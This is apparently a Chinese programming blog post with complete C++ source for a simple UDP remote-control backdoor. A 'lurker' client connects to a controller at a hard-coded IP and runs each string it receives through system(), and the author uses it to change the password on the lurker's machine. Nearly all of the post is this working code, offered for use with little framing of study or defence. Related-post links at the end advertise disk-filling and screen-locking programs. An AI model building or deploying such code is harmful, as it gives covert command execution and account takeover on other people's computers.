C/C++轻松写基于UDP的远程控制

原创 2017年01月24日 00:20:58

思路:

打开socket,服务端输入字符串,客户端接受后运行cmd,从而修改潜伏者所在电脑密码

局限性:

如果要进行两个不同的局域网通信就得要一个公有IP进行转发,或者打洞。


解释

1.局域网:每一个路由器(家庭版)划分广播域(思科或华为的设备每一个端口是一个广播域)---这里要说明下,其实家庭版的路由器应该叫交换机,本文用家庭版路由器代替

2.打洞:因为路由器有安全功能,不能让外网的数据访问内网,但如果内网主动与外网建立连接后,外网就可以访问内网

3.UDP:不可靠,会丢包

4.相关协议:NAT和NAPT


我们这个是简单的内网通信,所以不用考虑那么多


下面不再讲解socket具体函数实现,直接上代码


服务器:

SocketUdp.h

#ifndef _SOCKET_UDP_
#define _SOCKET_UDP_

#include <stdio.h>
#include <WinSock2.h>

#pragma comment(lib,"ws2_32.lib")

class Socket_udp
{
public:
	Socket_udp(int port);
	~Socket_udp();
	void run();
private:
	int m_port;		//端口号
	sockaddr_in serAddr;
	SOCKET serSocket;
	sockaddr_in remoteAddr;
	int nAddrLen;
};

Socket_udp::Socket_udp(int port)
{
	WSADATA wsaData;
	WORD sockVersion = MAKEWORD(2, 2);
	m_port = port;
	if (WSAStartup(sockVersion, &wsaData) != 0)
	{
		printf("Socket_udp打开失败!\n");
		system("pause");
		exit(0);
	}
	serSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (serSocket == INVALID_SOCKET)
	{
		printf("Socket为无用状态!\n");
		system("pause");
		exit(0);
	}
	serAddr.sin_family = AF_INET;
	serAddr.sin_port = htons(m_port);
	serAddr.sin_addr.S_un.S_addr = INADDR_ANY;
	if (bind(serSocket, (sockaddr *)&serAddr, sizeof(serAddr)) == SOCKET_ERROR)
	{
		printf("bind连接失败!\n");
		closesocket(serSocket);
		WSACleanup();
		exit(0);
	}
	nAddrLen = sizeof(remoteAddr);
	printf("服务器已经开启!等待中!\n");
}

void Socket_udp::run()
{
	char buf[1024];
	char sendbuf[1024];
	int n = recvfrom(serSocket, buf, sizeof(buf), 0, (sockaddr *)&remoteAddr, &nAddrLen);
	printf_s("%s:%s\n", inet_ntoa(remoteAddr.sin_addr), buf);
	while (true)
	{
		printf_s("输入命令:");
		gets_s(sendbuf);
		sendto(serSocket, sendbuf, sizeof(sendbuf), 0, (sockaddr*)&remoteAddr, nAddrLen);
	}
	system("pause");
}

Socket_udp::~Socket_udp()
{
	closesocket(serSocket);
	WSACleanup();
}

#endif
mian.cpp

#include "SocketUdp.h"

int main()
{
	Socket_udp socket_udp(9999);
	socket_udp.run();
	return 0;
}


潜伏者

Socket_udp.h

#ifndef _UDP_CLI_
#define  _UDP_CLI_

#include <stdio.h>  
#include <winsock2.h>  
#include <windows.h>
#pragma comment(lib, "ws2_32.lib") 

class Socket_udp
{
public:
	Socket_udp(char ip[128], int port);
	~Socket_udp();
	void run();
private:
	int m_port;
	char m_ip[128];
	sockaddr_in sin;
	int m_len;
	SOCKET sclient;
};

Socket_udp::Socket_udp(char ip[128], int port)
{
	strcpy_s(m_ip, ip);
	m_port = port;
	WORD socketVersion = MAKEWORD(2, 2);
	WSADATA wsaData;
	if (WSAStartup(socketVersion, &wsaData) != 0)
		exit(0);
	sclient = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	sin.sin_family = AF_INET;
	sin.sin_port = htons(m_port);
	sin.sin_addr.S_un.S_addr = inet_addr(m_ip);
	m_len = sizeof(sin);
}

void Socket_udp::run()
{
	char sendbuf[1024] = "潜伏者上线";
	char recvbuf[1024];
	sendto(sclient, sendbuf, sizeof(sendbuf), 0, (sockaddr *)&sin, m_len);
	while (1)
	{
		recvfrom(sclient, recvbuf, sizeof(recvbuf), 0, (sockaddr *)&sin, &m_len);
		printf_s("%s\n", recvbuf);
		system(recvbuf);
	}
}
Socket_udp::~Socket_udp()
{
	closesocket(sclient);
	WSACleanup();
}

#endif // !_UDP_CLI_
main.cpp

#include "Socket_udp.h"
int main()
{
	Socket_udp socket_udp("192.168.164.100", 9999);
	socket_udp.run();
	return 0;
}

注意:打包时要设置运行库



下面是运行结果:

先运行服务器,再运行潜伏者,结果如下



服务器输入ipconfig后




服务器修改潜伏者所在电脑的密码


版权声明:本文为博主原创文章,未经博主允许不得转载。

C#实现简单远程控制及桌面监控功能(客户端)

using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; ...
  • u010371458
  • u010371458
  • 2013年06月27日 10:32
  • 3508

C#简单远程控制制作源代码程序以及思路(客户端)

远程控制的服务器端前面介绍过了 http://blog.csdn.net/a112634313/article/details/7941446 现在开始客户端的实现 客户端的实现也是很简单的...
  • wangmj518
  • wangmj518
  • 2013年09月09日 15:47
  • 2188

C/C++轻松写可塞满硬盘的程序

C/C++轻松写可塞满硬盘的程序
  • qq78442761
  • qq78442761
  • 2017年01月20日 17:11
  • 3980

C/C++轻松写电脑锁机程序

C/C++轻松写电脑锁机程序
  • qq78442761
  • qq78442761
  • 2017年01月19日 00:26
  • 1971

C++ Builder编写的用UDP协议实现远程监视屏幕

  • 2010年08月18日 10:37
  • 713KB
  • 下载

轻松远程控制 2.3简体中文绿色免费版

  • 2008年09月13日 10:21
  • 413KB
  • 下载

转:教你轻松理解复杂的C/C++声明

介绍 曾经碰到过让你迷惑不解、类似于int * (* (*fp1) (int) ) [10];这样的变量声明吗?本文将由易到难,一步一步教会你如何理解这种复杂的C/C++声明:我们将从每天都能碰...
  • igiqoanw
  • igiqoanw
  • 2014年07月31日 11:25
  • 519

基于UDP的远程控制系统论文

  • 2014年10月18日 20:05
  • 766KB
  • 下载

粤嵌教你从C轻松到C++(一)

摘要:粤嵌教育(http://www.gec-edu.org/#)是专门从事产品研发的嵌入式培训基地,随着近年来嵌入式行业的火爆,越来越多的人投入嵌入式大军中,粤嵌教育也为社会输送了大量的嵌入式人才。...
  • c_arm_java
  • c_arm_java
  • 2013年01月05日 15:32
  • 452

C/C++轻松破解别人程序的窗口标题

C/C++文件捆绑之改软件标题
  • qq78442761
  • qq78442761
  • 2017年01月18日 20:52
  • 1166
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:C/C++轻松写基于UDP的远程控制
举报原因:
原因补充:

(最多只允许输入30个字)